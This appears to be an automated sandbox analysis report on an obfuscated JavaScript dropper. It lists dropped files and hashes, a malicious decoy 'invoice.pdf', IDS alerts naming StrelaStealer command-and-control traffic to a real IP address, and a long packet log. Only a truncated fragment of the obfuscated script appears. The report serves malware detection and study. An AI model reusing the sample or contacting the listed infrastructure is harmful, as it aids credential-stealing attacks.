Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\f661c1c5-7a3e-4f3e-94c5-30c83610f0f2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xTwYIGNPLWL07oYGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JTwZG5WLxYGZn3mlind9i4ufFXpAXkru
MD5:	CC81BA7322CF2DFC567CA45AFE0AB533
SHA1:	FF75E88235CBB253AE50E213972EB657C529E5E0
SHA-256:	B34AD717B576BF3ECAA5FC623E24C6BC93995C9D88DF2D7372273BCD0137F67A
SHA-512:	D6474C9002C12DDAFB396031EA3DEF7DA73F5478BBC8A82587136F36655F8C000AEF4E202933AACA78462708F8B0905A4C7FF7947AEC4291DC8EBD66064834ED
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (14756), with CRLF line terminators
Entropy (8bit):	4.944106252403212
TrID:
File name:	1504631236979031969.js
File size:	18'421 bytes
MD5:	21d689818acb68ff7c19bd104884522f
SHA1:	85925b55d9f94e9aee746dd02dfe0e8e8f12712f
SHA256:	2d9c08f272cf80a8a5523f6e3d63be5a6029dacf7a429eda1ac4d0805599f5a9
SHA512:	578a0fd1914729b3780a0661f2eb0feb9baa4432c2c2a25d770f6a4c97b83fe343a94a29b238d77d55a475f77bfc16d9e3626e245c107e8eeed82a363bec72b1
SSDEEP:	192:lE6TJzLsSA6TJWmcriSDDI7d711W/94l3fD+soeQPh2fy6mIamSsocpqGtUGNKKv:mwfAwVSAp1vpD6jtmwQ8o
TLSH:	B08261C48810CB9ED8F09976694B06C4119A17EE6FE861DF3D133DE68B206B6E4D7738
File Content Preview:	function agomolue(){iwhokss=[1031,3079,5127,4103,2055,3072];var fjqakn=this[qbbllnlbc+rlalcaf+wibddsv+blnnohe+ogeslvej+kohwzmr+fraoctr+bxvftbbe](this[nisgoseyc+mobrqtkcj+ihmvvxcbs+wibddsv+dgrlb+qbbllnlbc+bxvftbbe][tnduutpcs+wibddsv+ogeslvej+rlalcaf+bxvftb

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T03:04:08.724563+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49705	193.143.1.205	80	TCP
2025-01-11T03:04:08.724563+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.8	49705	193.143.1.205	80	TCP
2025-01-11T03:04:11.005692+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49706	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 03:04:07.880475998 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:07.885438919 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:07.885665894 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:07.888725042 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:07.893544912 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.724359035 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.724380970 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.724468946 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.724493027 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.724508047 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.724562883 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:08.724562883 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:08.724605083 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.724618912 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.724709034 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.724723101 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.724739075 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.724793911 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:08.724793911 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:08.724793911 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:08.729446888 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.729537010 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.729552031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.729567051 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.729640007 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:08.784605980 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.784626961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.784749985 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:08.853013992 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.853055000 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.853071928 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.853112936 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:08.853127956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.853171110 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:08.853188038 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.853203058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.853281021 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:08.853481054 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.853543997 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.853566885 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.853595972 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:08.853653908 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.853725910 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:08.854011059 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.854058027 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.854074001 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.854163885 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:08.854187012 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.854202986 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.854382992 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:08.854656935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.854723930 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:08.854737043 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.854753017 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.854801893 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:08.854845047 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.854861021 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.854950905 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.854979992 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:08.855536938 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.855597973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.855602026 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:08.896354914 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:08.918837070 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.952877045 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.952898979 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.952914953 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.952929974 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.953022003 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:08.953071117 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:08.981779099 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.981806040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.981858015 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.981867075 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:08.981904030 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.981920958 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.981944084 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:08.982008934 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.982027054 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.982052088 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:08.982592106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.982618093 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.982634068 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:08.982799053 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.982840061 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:08.982867002 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.982883930 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.982917070 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:08.983031988 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.983047009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.983087063 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:08.983536959 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.983593941 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.983609915 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.983632088 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:08.983711004 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.983726025 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.983742952 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.983751059 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:08.983779907 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:08.984448910 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.984503031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.984519005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.984546900 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:08.984610081 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.984626055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.984649897 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:08.984733105 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.984772921 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:08.985392094 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.985409021 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.985424042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.985451937 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:08.985502005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.985516071 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.985531092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.985544920 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:08.985575914 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:08.986237049 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.986290932 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.986305952 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.986330032 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:08.986397982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.986413956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.986440897 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:08.986478090 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.986515999 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:08.987121105 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.987185001 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.987202883 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.987226009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:08.987232924 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:08.987262011 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.009663105 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.009681940 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.009859085 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.043771982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.043797970 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.043876886 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.081180096 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.081224918 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.081240892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.081299067 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.081356049 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.081402063 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.081430912 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.081446886 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.081485033 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.110327005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.110357046 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.110373020 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.110413074 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.110429049 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.110459089 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.110515118 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.110548019 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.110548019 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.110553980 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.110809088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.110850096 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.110869884 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.110884905 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.110923052 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.110965014 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.111005068 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.111049891 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.111085892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.111100912 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.111144066 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.111166954 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.111341953 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.111381054 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.111383915 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.111399889 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.111439943 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.111526012 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.111541986 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.111557007 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.111572981 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.111582041 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.111610889 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.111701012 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.112090111 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.112103939 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.112119913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.112129927 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.112159014 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.112195015 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.112210035 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.112224102 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.112237930 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.112251997 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.112277985 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.112338066 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.112351894 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.112390995 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.112684965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.112730026 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.112746000 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.112771988 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.112823009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.112864017 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.112932920 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.112948895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.112962961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.112978935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.112986088 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.113017082 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.113147020 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.113162041 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.113178015 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.113200903 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.113643885 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.113687038 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.113692045 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.113703966 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.113742113 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.113847017 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.113862991 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.113878012 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.113893986 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.113898993 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.113934040 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.113982916 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.114033937 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.114048958 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.114073038 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.114155054 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.114197016 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.114582062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.114645004 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.114660978 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.114681959 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.114788055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.114803076 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.114816904 CET	80	49705	193.143.1.205	192.168.2.8
